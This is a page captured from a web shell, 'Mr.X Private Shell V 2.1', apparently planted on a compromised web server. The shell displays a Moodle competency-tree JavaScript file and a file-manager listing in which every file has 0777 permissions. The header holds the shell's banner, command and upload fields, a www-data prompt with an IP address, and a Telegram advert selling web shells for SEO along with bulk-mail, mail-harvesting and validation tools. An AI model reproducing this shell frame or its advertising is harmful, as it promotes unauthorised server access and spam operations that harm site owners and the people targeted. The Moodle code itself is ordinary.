__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Handle selection changes on the competency tree.
 *
 * @module     tool_lp/competencytree
 * @copyright  2015 Damyon Wiese <damyon@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(['core/ajax', 'core/notification', 'core/templates', 'tool_lp/tree', 'tool_lp/competency_outcomes', 'jquery'],
       function(ajax, notification, templates, Ariatree, CompOutcomes, $) {

    // Private variables and functions.
    /** @var {Object[]} competencies - Cached list of competencies */
    var competencies = {};

    /** @var {Number} competencyFrameworkId - The current framework id */
    var competencyFrameworkId = 0;

    /** @var {String} competencyFrameworkShortName - The current framework short name */
    var competencyFrameworkShortName = '';

    /** @var {String} treeSelector - The selector for the root of the tree. */
    var treeSelector = '';

    /** @var {String} currentNodeId - The data-id of the current node in the tree. */
    var currentNodeId = '';

     /** @var {Boolean} competencyFramworkCanManage - Can manage the competencies framework */
    var competencyFramworkCanManage = false;

    /**
     * Build a tree from the flat list of competencies.
     * @param {Object} parent The parent competency.
     * @param {Array} all The list of all competencies.
     */
    var addChildren = function(parent, all) {
        var i = 0;
        var current = false;
        parent.haschildren = false;
        parent.children = [];
        for (i = 0; i < all.length; i++) {
            current = all[i];
            if (current.parentid == parent.id) {
                parent.haschildren = true;
                parent.children.push(current);
                addChildren(current, all);
            }
        }
    };

    /**
     * Load the list of competencies via ajax. Competencies are filtered by the searchtext.
     * @param {String} searchtext The text to filter on.
     * @return {promise}
     */
    var loadCompetencies = function(searchtext) {
        var deferred = $.Deferred();

        templates.render('tool_lp/loading', {}).done(function(loadinghtml, loadingjs) {
            templates.replaceNodeContents($(treeSelector), loadinghtml, loadingjs);

            var promises = ajax.call([{
                methodname: 'core_competency_search_competencies',
                args: {
                    searchtext: searchtext,
                    competencyframeworkid: competencyFrameworkId
                }
            }]);
            promises[0].done(function(result) {
                competencies = {};
                var i = 0;
                for (i = 0; i < result.length; i++) {
                    competencies[result[i].id] = result[i];
                }

                var children = [];
                var competency = false;
                for (i = 0; i < result.length; i++) {
                    competency = result[i];
                    if (parseInt(competency.parentid, 10) === 0) {
                        children.push(competency);
                        addChildren(competency, result);
                    }
                }
                var context = {
                    shortname: competencyFrameworkShortName,
                    canmanage: competencyFramworkCanManage,
                    competencies: children
                };
                templates.render('tool_lp/competencies_tree_root', context).done(function(html, js) {
                    templates.replaceNodeContents($(treeSelector), $(html).html(), js);
                    var tree = new Ariatree(treeSelector, false);

                    if (currentNodeId) {
                        var node = $(treeSelector).find('[data-id=' + currentNodeId + ']');
                        if (node.length) {
                            tree.selectItem(node);
                            tree.updateFocus(node);
                        }
                    }
                    deferred.resolve(competencies);
                }).fail(deferred.reject);
            }).fail(deferred.reject);
        });

        return deferred.promise();
    };

    /**
     * Whenever the current item in the tree is changed - remember the "id".
     * @param {Event} evt
     * @param {Object} params The parameters for the event (This is the selected node).
     */
    var rememberCurrent = function(evt, params) {
        var node = params.selected;
        currentNodeId = node.attr('data-id');
    };

    return /** @alias module:tool_lp/competencytree */ {
        // Public variables and functions.
        /**
         * Initialise the tree.
         *
         * @param {Number} id The competency framework id.
         * @param {String} shortname The framework shortname
         * @param {String} search The current search string
         * @param {String} selector The selector for the tree div
         * @param {Boolean} canmanage Can manage the competencies
         * @param {Number} competencyid The id of the competency to show first
         */
        init: function(id, shortname, search, selector, canmanage, competencyid) {
            competencyFrameworkId = id;
            competencyFrameworkShortName = shortname;
            competencyFramworkCanManage = canmanage;
            treeSelector = selector;
            loadCompetencies(search).fail(notification.exception);
            if (competencyid > 0) {
                currentNodeId = competencyid;
            }

            this.on('selectionchanged', rememberCurrent);
         },

        /**
         * Add an event handler for custom events emitted by the tree.
         *
         * @param {String} eventname The name of the event - only "selectionchanged" for now
         * @param {Function} handler The handler for the event.
         */
        on: function(eventname, handler) {
            // We can't use the tree on function directly
            // because the tree gets rebuilt whenever the search string changes,
            // instead we attach the listner to the root node of the tree which never
            // gets destroyed (same as "on()" code in the tree.js).
            $(treeSelector).on(eventname, handler);
        },

        /**
         * Get the children of a competency.
         *
         * @param  {Number} id The competency ID.
         * @return {Array}
         * @method getChildren
         */
        getChildren: function(id) {
            var children = [];
            $.each(competencies, function(index, competency) {
                if (competency.parentid == id) {
                    children.push(competency);
                }
            });
            return children;
        },

        /**
         * Get the competency framework id this model was initiliased with.
         *
         * @return {Number}
         */
        getCompetencyFrameworkId: function() {
            return competencyFrameworkId;
        },

        /**
         * Get a competency by id
         *
         * @param {Number} id The competency id
         * @return {Object}
         */
        getCompetency: function(id) {
            return competencies[id];
        },

        /**
         * Get the competency level.
         *
         * @param  {Number} id The competency ID.
         * @return {Number}
         */
        getCompetencyLevel: function(id) {
            var competency = this.getCompetency(id),
                level = competency.path.replace(/^\/|\/$/g, '').split('/').length;
            return level;
        },

        /**
         * Whether a competency has children.
         *
         * @param  {Number} id The competency ID.
         * @return {Boolean}
         * @method hasChildren
         */
        hasChildren: function(id) {
            return this.getChildren(id).length > 0;
        },

        /**
         * Does the competency have a rule?
         *
         * @param  {Number}  id The competency ID.
         * @return {Boolean}
         */
        hasRule: function(id) {
            var comp = this.getCompetency(id);
            if (comp) {
                return comp.ruleoutcome != CompOutcomes.OUTCOME_NONE
                    && comp.ruletype;
            }
            return false;
        },

        /**
         * Reload all the page competencies framework competencies.
         * @method reloadCompetencies
         * @return {Promise}
         */
        reloadCompetencies: function() {
            return loadCompetencies('').fail(notification.exception);
        },

        /**
         * Get all competencies for this framework.
         *
         * @return {Object[]}
         */
        listCompetencies: function() {
            return competencies;
        },

     };
 });

Filemanager

Name Type Size Permission Actions
actionselector.js File 6.08 KB 0777
competencies.js File 13.4 KB 0777
competency_outcomes.js File 2.76 KB 0777
competency_plan_navigation.js File 2.84 KB 0777
competency_rule.js File 4.48 KB 0777
competency_rule_all.js File 1.64 KB 0777
competency_rule_points.js File 5.74 KB 0777
competencyactions.js File 31.19 KB 0777
competencydialogue.js File 5.57 KB 0777
competencypicker.js File 15.34 KB 0777
competencypicker_user_plans.js File 7.18 KB 0777
competencyruleconfig.js File 14.63 KB 0777
competencytree.js File 9.21 KB 0777
course_competency_settings.js File 5.1 KB 0777
dialogue.js File 4.22 KB 0777
dragdrop-reorder.js File 3.94 KB 0777
event_base.js File 1.72 KB 0777
evidence_delete.js File 3.47 KB 0777
form-user-selector.js File 3.04 KB 0777
form_competency_element.js File 4.58 KB 0777
frameworkactions.js File 5.86 KB 0777
frameworks_datasource.js File 3.2 KB 0777
grade_dialogue.js File 4.24 KB 0777
grade_user_competency_inline.js File 5.46 KB 0777
menubar.js File 29.26 KB 0777
module_navigation.js File 2.19 KB 0777
parentcompetency_form.js File 5.99 KB 0777
planactions.js File 19.75 KB 0777
scaleconfig.js File 8.21 KB 0777
scalevalues.js File 1.9 KB 0777
templateactions.js File 7.08 KB 0777
tree.js File 19.83 KB 0777
user_competency_course_navigation.js File 3.31 KB 0777
user_competency_info.js File 4.4 KB 0777
user_competency_plan_popup.js File 4.87 KB 0777
user_competency_workflow.js File 9.06 KB 0777
user_evidence_actions.js File 13.74 KB 0777
Filemanager